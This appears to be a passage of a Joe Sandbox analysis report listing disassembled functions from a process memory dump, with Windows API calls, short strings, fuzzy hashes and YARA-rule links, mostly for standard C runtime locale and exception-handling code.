Opcode ID: 69d9a59fdeb5ca5109b6fc94fe13b1cb923ea79b6f6561c370aba8f2e7a53267
Instruction ID: 2b6dcac3dae080734fbda4a4801e9c4345f7cbdf32cf3de3ac47ade782fbfada
Opcode Fuzzy Hash: 69d9a59fdeb5ca5109b6fc94fe13b1cb923ea79b6f6561c370aba8f2e7a53267
Instruction Fuzzy Hash: FF712831A40606EAFB24EB34CC4ABBB73A8EFCA750F544269F505DB181FA7CD8008761

Function 007A2529 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00796820: GetLastError.KERNEL32(00000000,00000000,?,00797607,?,00000000,00000000,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010), ref: 00796825
Part of subcall function 00796820: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010,00790B22,00000000,00000000,00000000), ref: 007968C3

Part of subcall function 00796820: _free.LIBCMT ref: 00796882
Part of subcall function 00796820: _free.LIBCMT ref: 007968B8

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 007A2635
IsValidCodePage.KERNEL32(00000000), ref: 007A267E
IsValidLocale.KERNEL32(?,00000001), ref: 007A268D
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 007A26D5
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 007A26F4

Strings

<Y{, xrefs: 007A258E

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID: <Y{
API String ID: 949163717-2124319567
Opcode ID: 35dcafa2a2a23731f409a753cba281c6a864d7dbba03680d1a100970c3fa3dac
Instruction ID: 0ce9c11f5e03bd03da4582535ba273d850e3cce06a0385ced6170c368076d989
Opcode Fuzzy Hash: 35dcafa2a2a23731f409a753cba281c6a864d7dbba03680d1a100970c3fa3dac
Instruction Fuzzy Hash: 5B519171A01209AFDF10DFA9DC45FBE77B8BF8A700F044269E904EB192E7789905CB61

Function 007A3DE9 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1427COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 007A3FA5

Strings

1#IND, xrefs: 007A5282
1#SNAN, xrefs: 007A528C
1#QNAN, xrefs: 007A5296
1#INF, xrefs: 007A52A0

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: cd89b731d7df3fbe0e7008cc78d0241aaf09c91161342a67188e9f50347ac92b
Instruction ID: 15b00e7752d6d0c9103e0001a91eb0d70dc2b3cfde7065cbf9673a018459b28d
Opcode Fuzzy Hash: cd89b731d7df3fbe0e7008cc78d0241aaf09c91161342a67188e9f50347ac92b
Instruction Fuzzy Hash: 51D23B71E086298FDB65CE28DC407EAB7B5EBC6305F1446EAD40DE7240E779AE818F41

Function 007A2354 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,007A2672,00000002,00000000,?,?,?,007A2672,?,00000000), ref: 007A23ED
GetLocaleInfoW.KERNEL32(?,20001004,007A2672,00000002,00000000,?,?,?,007A2672,?,00000000), ref: 007A2416
GetACP.KERNEL32(?,?,007A2672,?,00000000), ref: 007A242B

Strings

ACP, xrefs: 007A2372
OCP, xrefs: 007A23A8

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: c77d499cc4ac847cd704864dfbb4eef2e294a9e9232a7edb406d94df2ab2ff14
Instruction ID: aa19ac0f52299b0ec3ae207b3a63d12ac48446f5bedebc3c70d3d174cfb91e40
Opcode Fuzzy Hash: c77d499cc4ac847cd704864dfbb4eef2e294a9e9232a7edb406d94df2ab2ff14
Instruction Fuzzy Hash: 8E21B322604105AADF348F1DC904B9B73A6EFDBB50B568664E90ADB216E73EDD83C350

Function 0078A195 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0078A1A1
IsDebuggerPresent.KERNEL32 ref: 0078A26D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0078A28D
UnhandledExceptionFilter.KERNEL32(?), ref: 0078A297

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 35e4ce973056058ae03ba33ede719555c7d6200801ac2e4e4ebbb3239b6421ca
Instruction ID: e245ca791f76a3c52c1cb3d14f0ad096e719265927d04c13053227c38857faf4
Opcode Fuzzy Hash: 35e4ce973056058ae03ba33ede719555c7d6200801ac2e4e4ebbb3239b6421ca
Instruction Fuzzy Hash: 66311875D4121CDBDF20EFA4D989BCDBBB8BF08304F1041AAE40DAB250EB755A898F45

Function 007A1FDB Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00796820: GetLastError.KERNEL32(00000000,00000000,?,00797607,?,00000000,00000000,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010), ref: 00796825
Part of subcall function 00796820: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010,00790B22,00000000,00000000,00000000), ref: 007968C3

Part of subcall function 00796820: _free.LIBCMT ref: 00796882
Part of subcall function 00796820: _free.LIBCMT ref: 007968B8

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 007A202F
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 007A2079
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 007A213F

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: InfoLocale$ErrorLast_free
String ID:
API String ID: 3140898709-0
Opcode ID: 1d0fa1fc7993aa347d6f67136e86e0ab1bfaace157d1b7ab8e9ec4278fecb471
Instruction ID: 26256d0b4e1a4b4a0f4d47e3a347a075d9f043c61cb134e340c577165b14d797
Opcode Fuzzy Hash: 1d0fa1fc7993aa347d6f67136e86e0ab1bfaace157d1b7ab8e9ec4278fecb471
Instruction Fuzzy Hash: F561807165011B9FDB289F2CCC86BBA77A9FF96300F104269E915C6186EB3CDD82DB50

Function 0078E87C Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 0078E974
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0078E97E
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0078E98B

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: aa2bc52d15446a3e2250977936e96a6df4e189dea29a070b3933db21bc167327
Instruction ID: 0486378225bc8d0436a7aff227d79021234fb0198a93659dac55c4b586966129
Opcode Fuzzy Hash: aa2bc52d15446a3e2250977936e96a6df4e189dea29a070b3933db21bc167327
Instruction Fuzzy Hash: 7231D67494121CDBCB21EF65DC89BCDBBB8BF08310F5041DAE40CA6260E7749B858F45

Function 00792930 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1124f90cfe80d4467dedb1b18eba1de972a06b90169947a1a845ad02c99f095e
Instruction ID: 57cdec4a0a194fbc46f616ebb65f314ade63188b002f4004415e795fe8f878d0
Opcode Fuzzy Hash: 1124f90cfe80d4467dedb1b18eba1de972a06b90169947a1a845ad02c99f095e
Instruction Fuzzy Hash: 54F15F71E01219AFDF14DFA8D8806ADB7F1FF89314F258269D819AB345D735AE02CB90

Function 00764EF0 Relevance: 2.7, Strings: 2, Instructions: 235COMMON

Download Yara Rule

Strings

<_|, xrefs: 00764FCB
<_|, xrefs: 007650A7

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID:
String ID: <_|$<_|
API String ID: 0-1441071013
Opcode ID: fffdce61ed1db502c30273abf878f1a56e6e2f4649317d4c546406ce1fb92632
Instruction ID: 74ceae4105090f1a397ca9074ce6a8c905a6040ad4fd082be59b0d6be1668429
Opcode Fuzzy Hash: fffdce61ed1db502c30273abf878f1a56e6e2f4649317d4c546406ce1fb92632
Instruction Fuzzy Hash: F5914575A04689CFDB15CF68C490BEEBBF2EF5A300F18465DD89297782D3399506CBA0

Function 007651A0 Relevance: 2.7, Strings: 2, Instructions: 230COMMON

Download Yara Rule

Strings

<_|, xrefs: 00765377
<_|, xrefs: 00765287

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID:
String ID: <_|$<_|
API String ID: 0-1441071013
Opcode ID: f06a26e1c6865fe80cd1419a2af81410f39a897a43af3ef3df924d4894b576dc
Instruction ID: a5867fe9ca816e452e16399fe30a6607af1b8045f98bc725fc687cdd8a3f263a
Opcode Fuzzy Hash: f06a26e1c6865fe80cd1419a2af81410f39a897a43af3ef3df924d4894b576dc
Instruction Fuzzy Hash: A5812370A00A458FEB05CF69C890BEEBBB1BF29304F5442ADDC11A7343D7799845DBA0

Function 0079C467 Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,0079C462,?,?,00000008,?,?,007A5F42,00000000), ref: 0079C694

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 2a4573ca30868b80e0b67632bceda82dc6355dc5dafc50e62f267c23acc708f7
Instruction ID: d06fb42fa3e66a2bd357066c4f40fd79658785d1c05a9ce7ed6ca403577cc90f
Opcode Fuzzy Hash: 2a4573ca30868b80e0b67632bceda82dc6355dc5dafc50e62f267c23acc708f7
Instruction Fuzzy Hash: 06B12B32610609DFDF1ACF28D48AB657BA0FF45364F258659E899CF2A1C339E991CF40

Function 0078A37F Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0078A395

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 0b1dfa54107567bc0656f423a258b94ed7fb3c5cb1d79f6c3bd4e54d5fac0c23
Instruction ID: c8edf397bc9b0e08374eae239f8334457a42cbedd529d54b095a4f1efbbc8075
Opcode Fuzzy Hash: 0b1dfa54107567bc0656f423a258b94ed7fb3c5cb1d79f6c3bd4e54d5fac0c23
Instruction Fuzzy Hash: 1F51A0B1D01609DFEB14CF59D889BAEB7F0FB48710F24842ED805EB250D379A940CB96

Function 0079ED13 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2e6f4b4f2f88fe86271aad99a4b1898c6dda765a65f5b50906cc09c7bf88104
Instruction ID: 0963b52f38beacc8cb5edbd9fadd7144e48a51c97c176560de0997a24211f2b8
Opcode Fuzzy Hash: b2e6f4b4f2f88fe86271aad99a4b1898c6dda765a65f5b50906cc09c7bf88104
Instruction Fuzzy Hash: 0E41A1B190461DAFDF24DF69DC89AEABBB9EF45300F1442D9E41DD3211EA399E848F10

Function 007A222E Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00796820: GetLastError.KERNEL32(00000000,00000000,?,00797607,?,00000000,00000000,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010), ref: 00796825
Part of subcall function 00796820: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010,00790B22,00000000,00000000,00000000), ref: 007968C3

Part of subcall function 00796820: _free.LIBCMT ref: 00796882
Part of subcall function 00796820: _free.LIBCMT ref: 007968B8

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 007A2282

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: ErrorLast_free$InfoLocale
String ID:
API String ID: 2003897158-0
Opcode ID: 2acad3f92ee63670bd0debdc434c907c069c268808255132ddbb7a517bdce5cb
Instruction ID: d27d4ab52f3a120502c30eca610133bbf2f14bafbc92012e11627c58bdccaf02
Opcode Fuzzy Hash: 2acad3f92ee63670bd0debdc434c907c069c268808255132ddbb7a517bdce5cb
Instruction Fuzzy Hash: 4621B632555206EBDB189A29DC45B7A37A8FF86310B11427AFD02D6182EA3CED419754

Function 007A1EB5 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00796820: GetLastError.KERNEL32(00000000,00000000,?,00797607,?,00000000,00000000,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010), ref: 00796825
Part of subcall function 00796820: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010,00790B22,00000000,00000000,00000000), ref: 007968C3

EnumSystemLocalesW.KERNEL32(007A1FDB,00000001,00000000,?,-00000050,?,007A2609,00000000,?,?,?,00000055,?), ref: 007A1F27

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 8bec282c28d3337cfb0ddad5fab7edbb51946edc875178bbe9a25e71269c3a87
Instruction ID: ebc895907aee8cf595445ddd4883938621d80e9b4ac0b8be7dfad6b6aeab6749
Opcode Fuzzy Hash: 8bec282c28d3337cfb0ddad5fab7edbb51946edc875178bbe9a25e71269c3a87
Instruction Fuzzy Hash: 801129362047059FEB189F39C89557AB7A2FFC1358F54452CE9478B740D379A803C740

Function 007A245A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 00796820: GetLastError.KERNEL32(00000000,00000000,?,00797607,?,00000000,00000000,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010), ref: 00796825
Part of subcall function 00796820: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010,00790B22,00000000,00000000,00000000), ref: 007968C3

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,007A22D8,00000000,00000000,?), ref: 007A2486

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: ae85d7909fa0e9bc2ab364467fd97a1ebd78e1cb1d8f7a15cc0fb5fdc5636926
Instruction ID: c235b3976df318bf5a30b64b966f190596cfdfed179969e7ff9a2056a8467c93
Opcode Fuzzy Hash: ae85d7909fa0e9bc2ab364467fd97a1ebd78e1cb1d8f7a15cc0fb5fdc5636926
Instruction Fuzzy Hash: BCF0F932A00155AFDB289A6CC809BBB7754EB85754F044564EC05A7281DA7CFD02C6E0

Function 007A1DC3 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 00796820: GetLastError.KERNEL32(00000000,00000000,?,00797607,?,00000000,00000000,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010), ref: 00796825
Part of subcall function 00796820: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010,00790B22,00000000,00000000,00000000), ref: 007968C3

Part of subcall function 00796820: _free.LIBCMT ref: 00796882
Part of subcall function 00796820: _free.LIBCMT ref: 007968B8

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 007A1E17

Strings

<Y{, xrefs: 007A1C0A
utf8, xrefs: 007A1D86

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: ErrorLast_free$InfoLocale
String ID: <Y{$utf8
API String ID: 2003897158-1075160420
Opcode ID: c9aafe2bee966ac05452045858f16dd459276432a599d1a4a7ca68610388ce3b
Instruction ID: dbf6243b791e70ba3ad495a72cb17eceea27c45101b730a6a02351726dfa4b9a
Opcode Fuzzy Hash: c9aafe2bee966ac05452045858f16dd459276432a599d1a4a7ca68610388ce3b
Instruction Fuzzy Hash: 5BF0A432650109EBDB14AB78EC49EBA37ACDB49351F1442BDE902D7241EA7CAD058794

Function 007A1F50 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00796820: GetLastError.KERNEL32(00000000,00000000,?,00797607,?,00000000,00000000,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010), ref: 00796825
Part of subcall function 00796820: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010,00790B22,00000000,00000000,00000000), ref: 007968C3

EnumSystemLocalesW.KERNEL32(007A222E,00000001,FFFFFFFF,?,-00000050,?,007A25CD,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 007A1F9A

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 9e7233d460e42581b1913242d7ee62964e8c6687cad7d479f55e48e80ed49a94
Instruction ID: c0044872425fc7e91358419cec071e9859258f790ccc1cb0b699adbcef48c2bf
